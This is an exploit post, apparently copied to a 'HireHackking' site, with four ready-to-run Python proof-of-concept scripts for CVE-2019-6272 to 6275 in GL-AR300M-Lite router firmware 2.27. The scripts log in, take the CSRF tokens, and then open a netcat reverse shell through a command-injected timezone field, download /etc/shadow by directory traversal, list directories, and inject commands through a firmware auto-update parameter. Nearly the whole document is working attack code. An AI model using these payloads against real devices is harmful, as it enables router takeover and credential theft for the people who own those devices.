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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: GL-AR300M-Lite Authenticated Command injection - Arbitrary file download - Directory Traversal
# Date: 15/1/2019
# Exploit Author: Pasquale Turi aka boombyte
# Vendor Homepage: https://www.gl-inet.com/
# Software Link: https://www.gl-inet.com/products/gl-ar300m/
# Version: Firmware version 2.27
# CVE : CVE-2019-6272 - CVE-2019-6273 - CVE-2019-6274 - CVE-2019-6275


#CVE-2019-6272 PoC (Command injection):

import requests

rhost='RHOST'
lhost='LHOST' 
lport ='LPORT'
password='PASSWORD'
r=requests.get('http://'+rhost+'/login.html')
cookie=r.cookies
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
header={'X-CSRF-TOKEN':r2.text[13:45]}
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
header={'X-CSRF-TOKEN':r3.text[31:63]}
r4=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r3.cookies,data={'action':'settimezone','timezone':'`nc '+lhost+' '+lport+' -e /bin/ash`'})


#CVE-2019-6273 (Arbitrary file download) PoC:

import requests

rhost='RHOST'
password='PASSWORD'
file_path='/etc/shadow'
r=requests.get('http://'+rhost+'/login.html')
cookie=r.cookies
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
header={'X-CSRF-TOKEN':r2.text[13:45]}
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
header={'X-CSRF-TOKEN':r3.text[31:63]}
r4=requests.get('http://'+rhost+'/cgi-bin/download_file?/mnt/..'+file_path,headers=header,cookies=r3.cookies)
print r4.text


#CVE-2019-6274 (Path Trasversal) PoC:

import requests

rhost='RHOST'
password='PASSWORD'
path='/'
r=requests.get('http://'+rhost+'/login.html')
cookie=r.cookies
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
header={'X-CSRF-TOKEN':r2.text[13:45]}
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
header={'X-CSRF-TOKEN':r3.text[31:63]}
r4=requests.get('http://'+rhost+'/cgi-bin/storage_cgi?id=2&pwd='+path,headers=header,cookies=r3.cookies)
print r4.text


#CVE-2019-6275 (Another command injection):

import requests

rhost='RHOST'
lhost='LHOST' 
lport ='LPORT'
password='PASSWORD'
r=requests.get('http://'+rhost+'/login.html')
cookie=r.cookies
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
header={'X-CSRF-TOKEN':r2.text[13:45]}
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
header={'X-CSRF-TOKEN':r3.text[31:63]}
r4=requests.post('http://'+rhost+'/cgi-bin/firmware_cgi?action=setautoupdate&auto_update=off&update_time=04%3a00%7cecho%20qydre8t159%201%7c%7ca%20%23\'%20%7cecho%20%20%60id%60%7c%7ca%20%23%7c%22%20%7cecho%20a%201%7c%7ca%20%23&_=1547223055153 ',headers=header,cookies=r3.cookies,)
print r4.text